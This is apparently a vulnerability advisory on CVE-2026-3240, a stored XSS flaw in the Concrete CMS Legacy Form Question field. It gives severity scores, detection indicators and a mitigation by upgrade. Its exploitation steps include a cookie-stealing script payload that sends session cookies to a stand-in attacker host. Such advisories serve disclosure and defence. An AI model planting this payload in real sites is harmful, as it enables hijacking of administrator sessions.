CVE-2026-3240: 
PHP vulnerability analysis and mitigation

CVE-2026-3240 is a stored Cross-Site Scripting (XSS) vulnerability in Concrete CMS affecting all versions below 9.4.8. An authenticated user with permission to edit a page containing the Legacy Form element can inject malicious JavaScript into the Question field, which is then executed when high-privilege accounts (e.g., administrators) view the affected page. The vulnerability was disclosed on March 4, 2026, and was reported by minhnn42, namdi, and quanlna2 from VCSLab-Viettel Cyber Security. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 score of 4.8 (Medium) as assigned by the Concrete CMS security team (Feedly, ConcreteCMS PR).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant (CAPEC-592). The attack vector is network-based and requires the attacker to have high privileges (page editing permissions) and passive user interaction from a high-privilege victim. Insufficient sanitization of the Question field in the Legacy Form block allows an attacker to persist malicious script content in the CMS database, which is later rendered and executed in the browser context of any administrator or privileged user who visits the page (Feedly, ConcreteCMS PR).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser session of high-privilege accounts, such as administrators. This can lead to session token theft, unauthorized administrative actions performed on behalf of the victim, account takeover, or further compromise of the CMS environment. Confidentiality impact is limited (no direct data exfiltration from the server), but integrity is affected through potential unauthorized modifications made via hijacked admin sessions (Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.043% (0.000430), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with page-editing privileges, which significantly limits the attack surface (Feedly).

1. Gain editor access: Obtain or compromise a Concrete CMS account with permission to edit pages that include the Legacy Form block element.
2. Navigate to the Legacy Form block: Locate or create a page containing a Legacy Form element and open it for editing.
3. Inject XSS payload: In the Question field of the Legacy Form, insert a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or an equivalent event-handler-based payload.
4. Save the page: Submit the form to persist the malicious payload in the CMS database.
5. Wait for privileged user interaction: When an administrator or other high-privilege account visits or previews the affected page, the stored script executes in their browser context.
6. Harvest results: The attacker receives stolen session tokens, cookies, or other sensitive data, enabling session hijacking or unauthorized administrative actions (Feedly, ConcreteCMS PR).

• Logs: CMS audit logs showing edits to Legacy Form blocks by lower-privileged users, particularly modifications to the Question field containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:).
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after visiting CMS pages with Legacy Form elements; potential exfiltration of cookie or session data to attacker-controlled endpoints.
• Application: Unexpected administrative actions (user creation, permission changes, content modifications) correlated with administrator sessions that viewed pages containing Legacy Form blocks.
• File System: No direct file system artifacts expected for stored XSS; however, database inspection of Legacy Form Question field values for embedded script tags or encoded JavaScript payloads is recommended.

Upgrade Concrete CMS to version 9.4.8 or later, which includes the fix merged via pull request #12826 on March 3, 2026. As a compensating control, restrict page-editing permissions to only fully trusted users, minimizing the risk of a malicious insider or compromised editor account exploiting this vulnerability. Additionally, implementing a Content Security Policy (CSP) header can reduce the impact of XSS attacks by restricting script execution sources (ConcreteCMS PR, ConcreteCMS Release Notes).

The vulnerability was reported by researchers minhnn42, namdi, and quanlna2 from VCSLab-Viettel Cyber Security, who were credited in the official disclosure. Coverage was picked up by automated CVE tracking services and security news aggregators including INCIBE-CERT, ENISA EUVD, and GitLab Advisories shortly after disclosure. No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database entries (Feedly).